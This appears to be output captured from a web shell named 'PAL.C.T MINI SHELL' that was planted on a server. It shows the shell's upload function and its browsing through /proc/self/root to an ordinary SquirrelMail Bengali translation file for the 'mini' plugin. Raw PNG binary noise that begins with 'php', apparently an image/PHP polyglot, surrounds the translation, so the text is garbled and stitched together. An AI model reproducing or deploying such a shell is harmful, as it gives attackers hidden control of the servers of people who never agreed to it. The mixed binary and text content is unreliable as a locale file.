php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/mini.po

# Bengali (bn_BD) mini Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Israt Jahan <israt@ankur.org.bd>, 2009.
# $Id: mini.pot 11689 2006-09-10 09:52:24Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: mini 0.3\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-09-10 01:05+0200\n"
"PO-Revision-Date: 2008-12-25 17:28+0600\n"
"Last-Translator: Israt Jahan <israt@ankur.org.bd>\n"
"Language-Team:  Bengali <ankur-bd-l10n@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"

#: functions.php:34
msgid "mini window"
msgstr "ছোট উইন্ডো"

#: functions.php:49 mini.php:85 mini.php:96
msgid "Mini SquirrelMail"
msgstr "ছোট SquirrelMail"

#: functions.php:53
msgid "Window width (in pixels)"
msgstr "উইন্ডো প্রস্থ (পিক্সেলে)"

#: functions.php:60
msgid "Window height (in pixels)"
msgstr "উইন্ডো উচ্চতা (পিক্সেলে)"

#: functions.php:67
msgid "never"
msgstr "কখনো নয়"

#: functions.php:70
#, php-format
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s সেকেন্ড"
msgstr[1] "%s সেকেন্ড"

#: functions.php:73
#, php-format
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s মিনিট"
msgstr[1] "%s মিনিট"

#: functions.php:79
msgid "Window refresh time"
msgstr "উইন্ডো সতেজতার সময়"

#: functions.php:87
msgid "Window text size"
msgstr "উইন্ডো পাঠ্য আকার"

#: functions.php:90
msgid "Very small"
msgstr "খুব ছোট"

#: functions.php:91
msgid "Small"
msgstr "ছোট"

#: functions.php:92
msgid "Normal"
msgstr "স্বাভাবিক"

#: functions.php:162
msgid ""
"This message has additional parts. Please use the main SquirrelMail "
"interface to open them"
msgstr ""
"এই বার্তাটির অতিরিক্ত অংশ আছে। অনুগ্রহ করে এদেরকে খুলতে মূল SquirrelMail ইন্টারফেস "
"ব্যবহার করুন"

#: functions.php:166 functions.php:178
msgid ""
"Could not find a text part. Please use the main SquirrelMail window to read "
"this message"
msgstr ""
"পাঠ্য অংশ খুঁজে পায়নি। অনুগ্রহ করে আপনার মূল SquirrelMail ব্যবহার করে বার্তাটি পড়ুন"

#: functions.php:302 mini.php:123
msgid "No subject"
msgstr "বিষয় নেই"

#: functions.php:314 functions.php:315 mini.php:130
msgid "No sender"
msgstr "প্রেরক নেই"

#: mini.php:75 mini.php:139
msgid "Back"
msgstr "ফিরে আসা"

#: mini.php:78
msgid "Refresh"
msgstr "সতেজ করুন"

#: mini.php:133 mini.php:174
msgid "Subject"
msgstr "বিষয়"

#: mini.php:134 mini.php:176
msgid "From"
msgstr "হতে"

#: mini.php:141
msgid "Keep as new"
msgstr "নতুন হিসেবে রাখুন"

#: mini.php:148
msgid "Folder"
msgstr "ফোল্ডার"

#: mini.php:150
msgid "New Mail"
msgstr "নতুন বার্তা"

#: mini.php:160
msgid "INBOX"
msgstr "আগত বাক্স"

#: mini.php:193
msgid "No New Messages"
msgstr "নতুন কোন বার্তা নেই"

#: mini.php:209
msgid "Close"
msgstr "বন্ধ করুন"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`